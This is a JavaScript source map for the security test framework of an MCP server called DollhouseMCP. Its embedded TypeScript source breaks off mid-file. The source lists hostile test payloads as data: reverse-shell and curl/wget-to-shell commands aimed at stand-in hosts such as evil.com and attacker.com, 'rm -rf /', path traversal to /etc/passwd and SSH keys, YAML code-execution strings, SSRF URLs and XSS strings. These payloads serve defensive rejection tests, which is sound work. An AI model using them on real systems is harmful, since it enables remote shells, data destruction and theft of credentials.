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","sourcesContent":["import { jest } from '@jest/globals';\nimport * as fs from 'fs/promises';\nimport * as path from 'path';\nimport { DollhouseMCPServer } from '../../../../src/index.js';\n\n/**\n * Security Test Framework for DollhouseMCP\n * Provides utilities for testing security vulnerabilities\n */\nexport interface SecurityTestOptions {\n  timeout?: number;\n  category?: 'critical' | 'high' | 'medium' | 'all';\n  parallel?: boolean;\n}\n\nexport interface SecurityTestSuite {\n  name: string;\n  category: 'critical' | 'high' | 'medium';\n  tests: Array<() => Promise<void>>;\n}\n\nexport class SecurityTestFramework {\n  private static readonly MALICIOUS_PAYLOADS = {\n    commandInjection: [\n      '; rm -rf /',\n      '&& curl evil.com | sh',\n      '| nc -e /bin/sh attacker.com 4444',\n      '`touch /tmp/pwned`',\n      '$(wget http://evil.com/shell.sh -O - | sh)',\n      '\\n/bin/sh',\n      '; echo \"pwned\" > /etc/passwd',\n      '|| python -c \"import os; os.system(\\'rm -rf /\\')\"'\n    ],\n    pathTraversal: [\n      '../../../etc/passwd',\n      '..\\\\..\\\\..\\\\windows\\\\system32\\\\config\\\\sam',\n      'personas/../../../sensitive.txt',\n      './././../../../root/.ssh/id_rsa',\n      '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd',\n      '....//....//....//etc/passwd',\n      'personas/../../custom-personas/../../backups/../../../etc/hosts'\n    ],\n    yamlInjection: [\n      '!!js/function \"function(){require(\\'child_process\\').exec(\\'calc.exe\\')}\"',\n      '!!python/object/apply:os.system [\"rm -rf /\"]',\n      '!!python/object/new:subprocess.Popen [[\"curl\", \"evil.com/shell.sh\", \"|\", \"sh\"]]',\n      '&anchor [*anchor, *anchor, *anchor, *anchor, *anchor]'\n    ],\n    ssrf: [\n      'http://localhost:8080/admin',\n      'http://127.0.0.1:22',\n      'http://169.254.169.254/latest/meta-data/',\n      'http://192.168.1.1/config',\n      'http://[::1]:8080',\n      'file:///etc/passwd',\n      'gopher://localhost:8080/_GET / HTTP/1.1'\n    ],\n    xss: [\n      '<script>alert(\"XSS\")</script>',\n      '<img src=x onerror=alert(\"XSS\")>',\n      'javascript:alert(\"XSS\")',\n      '<svg onload=alert(\"XSS\")>',\n      '\"><script>alert(String.fromCharCode(88,83,83))</script>'\n    ]\n  };\n\n  /**\n   * Test that a function properly rejects malicious payloads\n   */\n  static async testPayloadRejection<T extends (...args: any[]) => any>(\n    fn: T,\n    payloadType: keyof typeof SecurityTestFramework.MALICIOUS_PAYLOADS,\n    argPosition: number = 0\n  ): Promise<void> {\n    const payloads = this.MALICIOUS_PAYLOADS[payloadType];\n    \n    for (const payload of payloads) {\n      const args = Array(argPosition + 1).fill('safe-value');\n      args[argPosition] = payload;\n      \n      await expect(async () => {\n        await fn(...args);\n      }).rejects.toThrow();\n    }\n  }\n\n  /**\n   * Test that file operations are properly sandboxed\n   */\n  static async testFileSandbox(\n    fileOperation: (path: string) => Promise<any>,\n    allowedPaths: string[]\n  ): Promise<void> {\n    // Test allowed paths work\n    for (const allowed of allowedPaths) {\n      const testPath = path.join(allowed, 'test.md');\n      // Should not throw for allowed paths\n      await expect(fileOperation(testPath)).resolves.toBeDefined();\n    }\n    \n    // Test path traversal attempts are blocked\n    const traversalAttempts = [\n      '../../../etc/passwd',\n      path.join(allowedPaths[0], '..', '..', '..', 'etc', 'passwd'),\n      '/etc/passwd',\n      'C:\\\\Windows\\\\System32\\\\config\\\\SAM'\n    ];\n    \n    for (const attempt of traversalAttempts) {\n      await expect(fileOperation(attempt)).rejects.toThrow();\n    }\n  }\n\n  /**\n   * Test rate limiting functionality\n   */\n  static async testRateLimit(\n    operation: () => Promise<any>,\n    limit: number,\n    windowMs: number\n  ): Promise<void> {\n    const start = Date.now();\n    const attempts: Promise<any>[] = [];\n    \n    // Make limit + 1 attempts\n    for (let i = 0; i <= limit; i++) {\n      attempts.push(operation());\n    }\n    \n    const results = await Promise.allSettled(attempts);\n    \n    // First 'limit' attempts should succeed\n    for (let i = 0; i < limit; i++) {\n      expect(results[i].status).toBe('fulfilled');\n    }\n    \n    // Last attempt should be rate limited\n    expect(results[limit].status).toBe('rejected');\n    if (results[limit].status === 'rejected') {\n      expect(results[limit].reason.message).toContain('rate limit');\n    }\n  }\n\n  /**\n   * Test input sanitization\n   */\n  static testSanitization(\n    sanitizer: (input: string) => string,\n    expectations: Array<{ input: string; expected: string }>\n  ): void {\n    for (const { input, expected } of expectations) {\n      const result = sanitizer(input);\n      expect(result).toBe(expected);\n    }\n  }\n\n  /**\n   * Create a mock file system for testing\n   */\n  static async createMockFileSystem(structure: Record<string, string>): Promise<() => Promise<void>> {\n    const tempDir = path.join(process.cwd(), '__tests__', 'temp', Date.now().toString());\n    await fs.mkdir(tempDir, { recursive: true });\n    \n    for (const [filePath, content] of Object.entries(structure)) {\n      const fullPath = path.join(tempDir, filePath);\n      await fs.mkdir(path.dirname(fullPath), { recursive: true });\n      await fs.writeFile(fullPath, content);\n    }\n    \n    // Return cleanup function\n    return async () => {\n      await fs.rm(tempDir, { recursive: true, force: true });\n    };\n  }\n\n  /**\n   * Run security test suites based on category\n   */\n  static async runSecuritySuite(\n    options: SecurityTestOptions = {}\n  ): Promise<{ passed: number; failed: number; duration: number }> {\n    const startTime = Date.now();\n    const suites = await this.getTestSuites(options.category || 'all');\n    \n    let passed = 0;\n    let failed = 0;\n    \n    for (const suite of suites) {\n      console.log(`\\n🔒 Running ${suite.name} (${suite.category.toUpperCase()})...`);\n      \n      for (const test of suite.tests) {\n        try {\n          await test();\n          passed++;\n        } catch (error) {\n          failed++;\n          console.error(`❌ Test failed: ${error instanceof Error ? error.message : String(error)}`);\n        }\n      }\n    }\n    \n    const duration = Date.now() - startTime;\n    return { passed, failed, duration };\n  }\n\n  /**\n   * Get test suites based on category\n   */\n  private static async getTestSuites(\n    category: 'critical' | 'high' | 'medium' | 'all'\n  ): Promise<SecurityTestSuite[]> {\n    const allSuites: SecurityTestSuite[] = [\n      {\n        name: 'Command Injection Tests',\n        category: 'critical',\n        tests: [\n          () => this.testMCPToolCommandInjection('create_persona'),\n          () => this.testMCPToolCommandInjection('edit_persona'),\n          () => this.testMCPToolCommandInjection('activate_persona')\n        ]\n      },\n      {\n        name: 'Path Traversal Tests',\n        category: 'critical',\n        tests: [\n          () => this.testMCPToolPathTraversal('get_persona_details'),\n          () => this.testMCPToolPathTraversal('import_persona'),\n          () => this.testMCPToolPathTraversal('share_persona')\n        ]\n      },\n      {\n        name: 'YAML Injection Tests',\n        category: 'critical',\n        tests: [\n          () => this.testYAMLInjectionPrevention(),\n          () => this.testYAMLBombPrevention()\n        ]\n      },\n      {\n        name: 'Input Validation Tests',\n        category: 'high',\n        tests: [\n          () => 